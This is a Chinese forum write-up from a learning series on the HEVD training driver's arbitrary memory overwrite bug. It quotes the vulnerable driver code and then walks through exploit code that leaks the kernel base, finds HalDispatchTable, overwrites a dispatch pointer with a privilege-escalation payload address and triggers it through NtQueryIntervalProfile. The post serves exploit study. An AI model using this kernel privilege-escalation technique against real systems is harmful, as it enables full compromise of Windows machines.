-
-
[原创]HEVD内核漏洞学习(6)任意内存覆盖
-
2020-11-4 20:38 5008
-
0x00前言
第六篇了 讲任意内存覆盖 对于本节还是容易理解的 觉得发的有点没意义。。。。。因为有很多师傅都写过QAQ。。。。。。
0x01漏洞原理
基本概念是覆盖内核调度表中的指针 将其指向shellcode的地址
函数分析
这个函数申请完内存后 在漏洞版本下 未检查what和where指针 而是直接引用 所以我们如果控制了what指针地址的值指向shellcode就可以完成利用
TriggerArbitraryWrite
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | NTSTATUS TriggerArbitraryWrite( _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere ) { PULONG_PTR What = NULL; PULONG_PTR Where = NULL; NTSTATUS Status = STATUS_SUCCESS; PAGED_CODE(); __try { / / / / Verify if the buffer resides in user mode / / ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR)); What = UserWriteWhatWhere - >What; Where = UserWriteWhatWhere - >Where; DbgPrint( "[+] UserWriteWhatWhere: 0x%p\n" , UserWriteWhatWhere); DbgPrint( "[+] WRITE_WHAT_WHERE Size: 0x%X\n" , sizeof(WRITE_WHAT_WHERE)); DbgPrint( "[+] UserWriteWhatWhere->What: 0x%p\n" , What); DbgPrint( "[+] UserWriteWhatWhere->Where: 0x%p\n" , Where); #ifdef SECURE / / / / Secure Note: This is secure because the developer is properly validating if address / / pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead() / / / ProbeForWrite() routine before performing the write operation / / ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR)); ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR)); * (Where) = * (What); #else DbgPrint( "[+] Triggering Arbitrary Write\n" ); / / / / Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability / / because the developer is writing the value pointed by 'What' to memory location / / pointed by 'Where' without properly validating if the values pointed by 'Where' / / and 'What' resides in User mode / / * (Where) = * (What); / / 漏洞点 #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint( "[-] Exception Code: 0x%X\n" , Status); } / / / / There is one more hidden vulnerability. Find it out. / / return Status; } |
0x02漏洞分析
先下断点偏移计算就用之前的方法就可
1 | bp HEVD!TriggerArbitraryWrite + 71 |
查看what的值 发现并不是shellcode的地址 而是跳转表
下个断点 单步运行几次 发现到了shellcode的地址
what和where指针在WRITE_WHAT_WHERE结构体中 前四个字节是what 后四个是where 对于IO控制码的问题 还是跟之前一样 在IDA中查看即可
1 2 3 4 | typedef struct _WRITE_WHAT_WHERE { PULONG_PTR What; PULONG_PTR Where; } WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE; |
我们需要将where指针覆盖到一个安全的地址 先查看NtQueryIntervalProfile+0x62 然后查看KeQueryIntervalProfile 覆盖指针数组的即可 这个函数在内核中用的很少 所以可以覆盖
0x03漏洞利用
获取ntkrnlpa.exe基址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0 , &ReturnLength); / / Allocate the Heap chunk pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength); if (!pSystemModuleInformation) { DEBUG_ERROR( "\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n" , GetLastError()); exit(EXIT_FAILURE); } NtStatus = NtQuerySystemInformation(SystemModuleInformation, pSystemModuleInformation, ReturnLength, &ReturnLength); if (NtStatus ! = STATUS_SUCCESS) { DEBUG_ERROR( "\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n" , GetLastError()); exit(EXIT_FAILURE); } KernelBaseAddressInKernelMode = pSystemModuleInformation - >Module[ 0 ].Base; |
get HalDispatchTable地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | / / This is still in user mode HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable" ); / / 用户模式加载ntokrnl.exe if (!HalDispatchTable) { DEBUG_ERROR( "\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n" , GetLastError()); exit(EXIT_FAILURE); } else { HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)hKernelInUserMode); / / 得到HapDispatchTable偏移 / / Here we get the address of HapDispatchTable in Kernel mode HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)KernelBaseAddressInKernelMode); DEBUG_INFO( "\t\t\t[+] HalDispatchTable: 0x%p\n" , HalDispatchTable); } |
调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE)); HalDispatchTable = GetHalDispatchTable(); WriteWhatWhere - >What = (PULONG_PTR)&EopPayload; WriteWhatWhere - >Where = (PULONG_PTR)HalDispatchTablePlus4; DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE, (LPVOID)WriteWhatWhere, sizeof(WRITE_WHAT_WHERE), NULL, 0 , &BytesReturned, NULL); |
调用NtQueryIntervalProfile
1 | NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile" ); |
成功!
0x04补丁分析
安全版本中 检查了where和what指针 通过验证可进行指针的操作
0x05经验总结
这次的分析过程中碰到了点小困难 最后也算是解决了 中途去看了wjllz师傅的文章 了解到很多 边学习边复现 这个涉及的蛮多的 也不算是简单吧 还有就是对于shellcode的跳转为什么不是直接跳转呢 而是进入跳转表跳转 emmm 疑惑。。。。
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2020-11-4 20:59
被Ring3编辑
,原因:
赞赏
他的文章
看原图